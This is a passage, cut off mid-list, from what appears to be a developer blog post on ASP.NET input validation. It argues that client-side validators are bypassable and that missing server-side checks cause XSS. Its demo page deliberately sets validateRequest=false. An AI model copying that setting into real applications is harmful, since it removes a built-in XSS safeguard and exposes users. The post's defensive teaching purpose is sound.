&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;&lt;font color=#000000&gt;ValidateRequest
– page directive&lt;o:p&gt;&lt;/o:p&gt;
&lt;/font&gt;&lt;/span&gt; 
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;&lt;font color=#000000&gt;Built-in .Net
validation controls (such as "required field validator", "Range Validator&lt;span style="COLOR: black"&gt;",
and so…)&lt;/span&gt;&lt;/font&gt;
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt; 
&lt;li class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt 0.5in; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left; mso-list: l0 level1 lfo1; tab-stops: list .5in"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;Server Side validation.&lt;/span&gt;&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;&lt;a href="http://www.asp.net/faq/RequestValidation.aspx"&gt;ValidateRequest&lt;/a&gt; directive
– &lt;b&gt;Enabled&lt;/b&gt; by default, supposed to "protect" All the input to the page from
XSS.&lt;br&gt;
It looks for "&amp;lt;" and "&amp;gt;" tags, probably by some regulars expressions, the problem
with this option is that it limits &lt;b&gt;ALL &lt;/b&gt;inputs, even the intended ones (such
as XML, HTML tags and so…).&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; FONT-FAMILY: Verdana"&gt;&lt;a href="http://www.w3schools.com/aspnet/aspnet_refvalidationcontrols.asp"&gt;Built-in
.Net validation controls&lt;/a&gt;&lt;span style="COLOR: black"&gt; – The framework provides probably
all the input validation that you will need when writing it.&lt;br&gt;
Starting from required fields, numerics values, Regular expressions, and even write
your own custom validation.&lt;br&gt;
The problem with it, that it gives the developer a feeling that once the validation
is made, it can't be tempered by the client, which &lt;b&gt;IS NOT TRUE.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;Note that the common
use of these tools is on the &lt;b&gt;client side&lt;/b&gt;, which makes the whole validation
process irrelevant.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;Ask yourself as
a developer if you setting the "EnableClientScript" property on the validation control
when you use it? – The common answer will be yes, because it improves performance
by saving round trips to the server.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;But if the question
would be, have you did some extra coding to ensure server side validation to occur?
– Unfortunately, the common answer will be &lt;b&gt;NO&lt;/b&gt;.&lt;b&gt;
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/b&gt;&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;Note to yourself
– &lt;b&gt;This is no' 1 reason for XSS vulnerabilities in ASP.NET applications.&lt;/b&gt;
&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;Server Side validation
– This is where your coding skills starts to kick in.&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;This is where you
need to stop, and start thinking about security for your application.&lt;br&gt;
A rooky developer will probably go straight to developing a page , neglecting the
security aspect, while the more experienced developer will design a total solution,
considering many aspects of the application, security would be one of the top issues
(if not the first).&lt;o:p&gt;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p class=MsoNormal dir=ltr style="MARGIN: 0in 0in 0pt; DIRECTION: ltr; unicode-bidi: embed; TEXT-ALIGN: left"&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;
&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;&lt;/span&gt;&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt;Lets see some examples
:&lt;br&gt;
&lt;br&gt;
Lets create this asp.net page :&lt;/span&gt;
&lt;/p&gt;
&lt;span style="FONT-SIZE: 10pt; COLOR: black; FONT-FAMILY: Verdana"&gt; 
&lt;p class=HighlightedCode&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;&amp;lt;%@
Page language=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"c#"&lt;/span&gt; validateRequest=&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;false&lt;/span&gt; Codebehind=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"WebForm1.aspx.cs"&lt;/span&gt; AutoEventWireup=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"false"&lt;/span&gt; Inherits=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"SecurityExample.WebForm1"&lt;/span&gt; enableViewStateMac=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"True"&lt;/span&gt;%&amp;gt;&lt;br&gt;
&amp;lt;!DOCTYPE HTML PUBLIC &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"-//W3C//DTD
HTML 4.0 Transitional//EN"&lt;/span&gt; &amp;gt;&lt;br&gt;
&amp;lt;HTML&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;HEAD&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;title&amp;gt;WebForm1&amp;lt;/title&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;meta content=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Microsoft
Visual Studio .NET 7.1"&lt;/span&gt; name=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"GENERATOR"&lt;/span&gt;&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;meta content=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"C#"&lt;/span&gt; name=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"CODE_LANGUAGE"&lt;/span&gt;&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;meta content=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"JavaScript"&lt;/span&gt; name=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"vs_defaultClientScript"&lt;/span&gt;&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;meta content=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"http://schemas.microsoft.com/intellisense/ie5"&lt;/span&gt; name=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"vs_targetSchema"&lt;/span&gt;&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/HEAD&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;body MS_POSITIONING=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"GridLayout"&lt;/span&gt;&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;form id=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Form1"&lt;/span&gt; method=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"post"&lt;/span&gt; runat=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"server"&lt;/span&gt;&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;asp:textbox
id=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"TextBox1"&lt;/span&gt; style=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Z-INDEX:
101; LEFT: 96px; POSITION: absolute; TOP: 48px"&lt;/span&gt; runat=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"server"&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MaxLength=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"5"&lt;/span&gt; Width=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"160px"&lt;/span&gt;&amp;gt;&amp;lt;/asp:textbox&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;asp:regularexpressionvalidator
id=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"RegularExpressionValidator1"&lt;/span&gt; style=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Z-INDEX:
102; LEFT: 320px; POSITION: absolute; TOP: 56px"&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;runat=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"server"&lt;/span&gt; Width=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"144px"&lt;/span&gt; ValidationExpression=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"\d{5}"&lt;/span&gt; ControlToValidate=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"TextBox1"&lt;/span&gt; Height=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"40px"&lt;/span&gt; ErrorMessage=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Numbers
with 5 digits only"&lt;/span&gt;&amp;gt;&amp;lt;/asp:regularexpressionvalidator&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;asp:button
id=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Button1"&lt;/span&gt; style=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Z-INDEX:
103; LEFT: 128px; POSITION: absolute; TOP: 144px"&lt;/span&gt; runat=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"server"&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Width=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"112px"&lt;/span&gt; Text=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"send
data"&lt;/span&gt;&amp;gt;&amp;lt;/asp:button&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;asp:label
id=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"lblOutput"&lt;/span&gt; style=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Z-INDEX:
104; LEFT: 112px; POSITION: absolute; TOP: 192px"&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;runat=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"server"&lt;/span&gt; Width=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"136px"&lt;/span&gt; Height=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"16px"&lt;/span&gt; EnableViewState=&lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"False"&lt;/span&gt;&amp;gt;&amp;lt;/asp:label&amp;gt;&amp;lt;/form&amp;gt;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/body&amp;gt;&lt;br&gt;
&amp;lt;/HTML&amp;gt;&lt;br&gt;
&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
lets add some PageLoad code behind :
&lt;/p&gt;
&lt;p class=HighlightedCode&gt;
&lt;span style="FONT-SIZE: 11px; COLOR: black; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;private&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;void&lt;/span&gt; Page_Load(&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;object&lt;/span&gt; sender,
System.EventArgs e)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: green; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;//
Check if the current run is postback&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;if&lt;/span&gt; (IsPostBack)&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lblOutput.Text &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"this
is a postback&amp;lt;br&amp;gt;"&lt;/span&gt;;&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: green; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;//
Activate the page validation&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Page.Validate();&lt;br&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: green; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;//
Check if the page is valid&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;if&lt;/span&gt; (Page.IsValid) 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lblOutput.Text
+= &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Page
is Valid!"&lt;/span&gt;;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;else&lt;/span&gt; 
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lblOutput.Text
+= &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"Page
NOT valid"&lt;/span&gt;;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="FONT-SIZE: 11px; COLOR: blue; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;else&lt;/span&gt;
&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;lblOutput.Text &lt;span style="FONT-SIZE: 11px; COLOR: red; FONT-FAMILY: Courier New; BACKGROUND-COLOR: transparent"&gt;=&lt;/span&gt; &lt;span style="FONT-SIZE: 11px; COLOR: #666666; FONT-FAMILY: Courier New; BACKGROUND-COLOR: #e4e4e4"&gt;"this
is NOT a postback&amp;lt;br&amp;gt;"&lt;/span&gt;;&lt;br&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/span&gt;
&lt;/p&gt;
&lt;p&gt;
&amp;nbsp;
&lt;/p&gt;
&lt;p&gt;
Lets look at the code in the page_load method:&lt;br&gt;
Q : I'm calling here to the page validation manually, Why ?&lt;br&gt;
A : The complete process is combined with the following operations :
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
Client side validation 
&lt;li&gt;
Postback to the server 
&lt;li&gt;
Page Initialization 
&lt;li&gt;
Page_Load method invoked 
&lt;li&gt;
Desired action&amp;nbsp;invokes the attached method to it (button_click) 
&lt;li&gt;
